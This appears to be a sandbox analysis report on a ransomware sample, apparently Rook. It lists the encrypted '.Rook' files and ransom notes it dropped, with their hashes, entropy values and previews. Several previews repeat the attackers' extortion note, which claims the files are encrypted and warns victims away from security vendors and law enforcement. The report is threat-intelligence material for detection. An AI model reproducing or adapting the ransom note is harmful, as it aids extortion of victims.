Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\ar-IQ\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\ar-JO\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\ar-KW\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	modified
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Collab\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Forms\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2616
Entropy (8bit):	7.908741655130932
Encrypted:	false
SSDEEP:	48:6xUE3oCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:sd7Ko4/AAUn5U50+NS43LPuLjv
MD5:	F342F81E075A32AADE4BA56EC313B4C2
SHA1:	E457D56E61E0A4565824DAA25CAFAF5190D0C72A
SHA-256:	335D7BFF63C3936BF5DEC6C950CFD42F65ACAFA805D71D06C22F1B205206F874
SHA-512:	CF00BA8B35E8E9EE73F2B80FBB6692BD4A4573E819AF0ED0159C93274C0D462DB4897B9E8E653657CE197DBEC1539267FB09D857C61E2FF03BAB4F93C3F09485
Malicious:	false
Preview:	......TD.b..q{R.>>].>>.......................................+.v...AM.2?"].c....C>..X.S.<r../xD9...O..O....x..h.>&.I).G.x..%..O..x......k..]'..tP2.v.%W...w..3DGvx.9.o5...{9.F....y...^..t.&..'.T.U..\|.Z..D/.x4UKT;.gJ-.m.....7..T.\|...+....g..9s..R..\|..i..Z.@S.{..Q.I......~.D.8e.f.t.k. ...Dt...n...y..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j)

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2616
Entropy (8bit):	7.916110571802551
Encrypted:	false
SSDEEP:	48:jPvVKfAECxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:jn3J7Ko4/AAUn5U50+NS43LPuLjv
MD5:	113BA9541F5582EF95A8B65ADB108402
SHA1:	8C4BD778CF5E245F084258D897FE4BEAC8EEEBA2
SHA-256:	96390BE0CDF7CF029F085A4445A2E6E83DE26D73F72FE1D3F348788898737F17
SHA-512:	BEC6A909C03E4D374203AF0CE82BA2DEC13059C7FE74C1C5B7DCC369D469871EC5D93FFCBD3E1158806AC5F99AD685DACE67211FEEC38918EBA4A4FB64883BBE
Malicious:	false
Preview:	.....;...m.RYj<<>>].>>................................fM....1&.x~.t[......D.Rh.....&...~8.....ki....K.[.H.....7.y[...H..4.].[..;...,.0V.p...{^....1?.:-.....b.49.a%...T.Q.....0.T).n=.\|../m..gE....b.&QaE...S.I..l...>..........:.k.J\.<..oS>.........p.T.L4...i.I.</ylWa.....g.....j....H....9......F..)#.~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j)

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3224
Entropy (8bit):	7.914455736606722
Encrypted:	false
SSDEEP:	96:fz/sgr7Z3o7BJl6z7Ko4/AAUn5U50+NS43LPuLjv:ffrN47jlJoiM5U50B43LPun
MD5:	510B3D79D154E73BEDC253736F367882
SHA1:	4F26C8627C70D1CB4F5CC2C00588CB0FC365B7F6
SHA-256:	0A24D69CB29B886D19E36AD31204B585AE2DB81C8FB153A7624E2EDED6B9A60C
SHA-512:	BAA8745C27BC98DC86A591800667BE1DA224D3571EC0CF96AFE794603BB306D0AADFA75616AB1CBC6D77ED957812AC5CEC72B144520704C54D1C1CA9DCAF8262
Malicious:	false
Preview:	..r...w.C.. ^$...H........0i1.0.v2.}....e.q""N.....Adobe System....Q.~.G.e.5K0...U....Adobe Ti...5......}......U....Adobe RoB."....C..\3H\|000Z..2301092359\|rT+.V].M....[.....-..1.....1009..Od..1V+Q&.J.....040117013929Z.y~cx.@+..0bt}...>.....04011701..3.......`.A....0#..>.....100'..b).~.>.sx....U......../0-0..........vL.@t..D....T.......0..P.U.I.bt'..Fh>...............c..IT.w..:.Q._..7..y.Z..]d.x.Dd....0D..;.}..P\..3.\|...'9C...F.......R...OD[..V.....-...}.L.4.d_......@.....(..y...e>Y.......J....Bc..e....8..r......a.....5ul;..........A .u......SnP.?.`...".5YO.NL...5y...x.^...9...c.3...V..RZ~}U..^..Z.).{O..kd....}.......................&....u..%....s8.z@.%\..j...g=...!..c...Z../b..>*.._..9c..g.u.5.]CEy...(?.5.k....2..(#j;&.c.@..;.t.D..u1..e.`.g]d..!.....i....X..W.;\..!G.R.Dd....Q5.......e?.#.....us.,+.).....x..lnl....N...]G....w..a-p..M.9.%...oi6.^T...sV.3.}"..]....TTr,w.xA...~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3016
Entropy (8bit):	7.923165176538331
Encrypted:	false
SSDEEP:	48:ticEMQ0Dil6Qd6CxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:In0s6Qh7Ko4/AAUn5U50+NS43LPuLjv
MD5:	45E277DDD6E2A5A2D084EE67F58AD13C
SHA1:	1223B8828B1BC5211BDBBFC85EC50CF04105DCBC
SHA-256:	1D92820D60A487F7ADAF4375C7EEAAD7C6AEC96B8B6CA3A06089EAF8AFC6B46D
SHA-512:	E3F1BE95F389EAF7CD2D39DBC4AE439255919180C6161E90A67E801F5065E491A763F8E4F89A037849BADC2B7CD7E66A2BBCBA8D8CBD33421AC008687FA42724
Malicious:	false
Preview:	eh.x....oNvS..........0_1.0...U.!V...a}A..M....GeoTrust Inc.1.0.P.m......{..B:ust Services1.0........`..`dD.ervices..1808170...9l.P.X.....2300Z0....H.....".j....Yi...yn-.'f.,.qR..+...sn...@ ...&..]lF..e./..e.O. 4..$..(...I.Ov..UQHW..8U.)....{O;w"C...T.c...GNK%E.[......P5...,...#....oYd.......U..+^.{..L..S...OX>....b...Y..@{[1...V...}.wT...r..S..............;.e&a."NNi.>9..F4..\|f[.$c;.......X..!@$.d.j.?.n..e.S%+[R...........................6...DY.j.p.vM./.$.=l......c?....f.)....c..5.\|.1......Ew......?.tS.`..c5h...,B.....l..@.v....t..t.;.}..'\|...6.R.[tM..T.s!.cc.j..$\ECsGR.R.7......)j.....eUS,..D<.[.Pd.ZM?).D..I.! ..z=...Rw...av...d.....5.2.l.....Ha..F.f^DF......l...8......f..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	12824
Entropy (8bit):	4.796053283513675
Encrypted:	false
SSDEEP:	96:7AJ7QuMBimYo7Ko4/AAUn5U50+NS43LPuLjv:S7QVBidHoiM5U50B43LPun
MD5:	A990D98FD151DBB8AC16E6C807E7E420
SHA1:	F4342212E0FCE4DA85F7E985089216A16FF2C2E0
SHA-256:	261EDED39E013046D408131DFBE02492403723EF88747CABAD9ECA81B0DBB365
SHA-512:	1EE30B54BAEDF1462B7F2FEB44A985C79F7BD956958CBC8C15C9D45AEEF8AF64AB4C8240DD0314AB999E9E2984066B33607EC3DB201F5113F7BCB453CA9DA471
Malicious:	false
Preview:	.T...v.o....)..(....-......S...d@L....@..-..Q.&.F..g.oN.j..\uz.L..@U.\.U3...._. ...Z4n`a\|[....e3...V.....V.1.....I.t.....2...OUc.....Lq5...?$j.q..{E8.>..=.H./.U...}k..q6`.pd,...5.G.?..A.H.O^...H...R..F..".sjE.k.......xA..)..`....S.{..z.&.Q...~...F..u.dIQ..n5..+..;.H...0z.\|.s...8...........>a.s...r..<...G&b..B...\|.RG..X.AJ.q$.+..)....TR...Vm..Q....D"..l.;6..0.....>s.MQRyh7.Ed..&.0SS......I..W.A.....__...x(...`....MZ...$4.6....]..s.3.......Og.T.m..K$.U.{(+.b$.....S..B.@%..\|lUq..L..'..wOL....J&..X.h?...z8&...........W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW.,.....................W)a,.AW

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	26744
Entropy (8bit):	4.251228707363468
Encrypted:	false
SSDEEP:	96:vmq1+ZOYXB+7Ko4/AAUn5U50+NS43LPuLjv:v/+EWFoiM5U50B43LPun
MD5:	B151A641B9B233DC2B781644105E59BB
SHA1:	D03ACA22C2E78CA5475750C3CB2BECAE3AF2F7EC
SHA-256:	8DD042D7E9129C7B85748B8A3ABF7E659EAAB3223B1F43649789512B286FC417
SHA-512:	C45729E9637DE4919BF6328F13C9C1ABC46DD21D0566C897FFBF05D8CABBF3BF9BAC15223C3A3F49714552AE3641280BD415B2E13AAF8671CB2C6C97BC99C6F9
Malicious:	false
Preview:	=..O4./#.2......2.<.?........Of;k.swS."G......=..t.@`M.sV..<w~H.O.ud.....e.TX..../..rg.Bk..g.p]zQ...S5+%.l....y6..I@..\|.{.....8/..h..I......C.gB.s....>.3+x{Df..]e..J...l...B.8.{WoZ.~>>...RYq.9A..Mx.pp.....r6..R.Y@..gk&\|.......HgX..4...E..`-.b.~..tHMO..Q&..5.n.l...fj..E..:..6....q.g.y$...'.8\=<..v~.....5....5...`g.....5]......2Hs...V..N...3...ET...<....x..<.D0.[...:...g.io7..\|.:x.....'..\.x.nY.[.ZB)...X.eg\|.IP.(i....H..".%^.&.x........X .m......<HI.u(...F+.j...tMy.H...7..U.w..N.....[.......;...S./.MAFI....p.MW......P..x8p....kY.{ezz....9...z~x..../..P..,......7...N...1.y .&R&..J.....8.V....0.c.ns.....EU..r2....@sUJ.Aw.lG.......aN..%....c...]n.!.k9..L]je.(..../.jn..7.b................(..../.jn..7.b................(..../.jn..7.b................(..../.jn..7.b................(..../.jn..7.b................(..../.jn..7.b................(..../.jn..7.b................(..../.jn..7.b................(..../.jn..7.b................(..../.

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storek.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2856
Entropy (8bit):	7.910592091593916
Encrypted:	false
SSDEEP:	48:Eb/VfRNsJmUMP6W9MmnRCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwun:EbNf/KMPj9NQ7Ko4/AAUn5U50+NS43Le
MD5:	5533844DE13B189DA28C93531A16219A
SHA1:	E6157687DA561C5E01E874616FAC3FA1BD184D83
SHA-256:	6A894701E7356EE1A85B0EE8210A52574B1350A02CF8E1F108DB2F0103C3C5C2
SHA-512:	2B6B858873B5C01CF24A9661E6A316111DE54414A7CB64C1291BEBB4928F9B2DC2A11C8C40852D74C6B237FB306E9D413A695DE7C7FC50E6BC67A2C00CECA4AD
Malicious:	false
Preview:	i..v}......{C.\.O......AC....O..8...2Xp..0W.sgx....f...... .......<...0...]..{.{....9.:=e.Z}.8..d..7..OS...a.7]%..V{.6...$..'..J..B7lt$..[.0......Zq.+5.6..C}p.U.}G5}.z........'......O"...7.g.......D.@..x.K.R......T.,i.......px.\..9G'.........-...+O._...I..,'........................N.H.rn..M.k....X..a..4...b...n.t...cl`.C.H...w..32..I....V......t...`?n...`...Rf2...L.n...91!u,E.L..=u.Bi....(......O@.2.^..7tG....x.Cf.$u.a...J'?a.ek...&G5.R..4.-..7.../?.".N]...u~...dnf......u+s..6..+}m..;....9..BL...\|TvL.~../. %....7.....".~..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t..

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	17048
Entropy (8bit):	7.122976821020622
Encrypted:	false
SSDEEP:	384:CMhS27SJ+eEGCQCvthKh2fUh2LgULzUY+TJO3LPG:CMhS27ECG9h+JgPoe
MD5:	A8847CCF87E692A78A73B309AC1500C6
SHA1:	E151EE9680B3A8B732ACD3A5ED7AE0301C2C60E4
SHA-256:	3A43C5A657FB3A78FE647050A054C431900A094907098A0CE3AA4386A3CAA1C2
SHA-512:	41AAC7DEED94A02E68CE68BE4684DF2DD86CAF7955B7BFA03BA5F62A45A40766FC408C8B6572A633FAE0E835B0EB727770A5F8D51AC3C08815A73B18B4C2A415
Malicious:	false
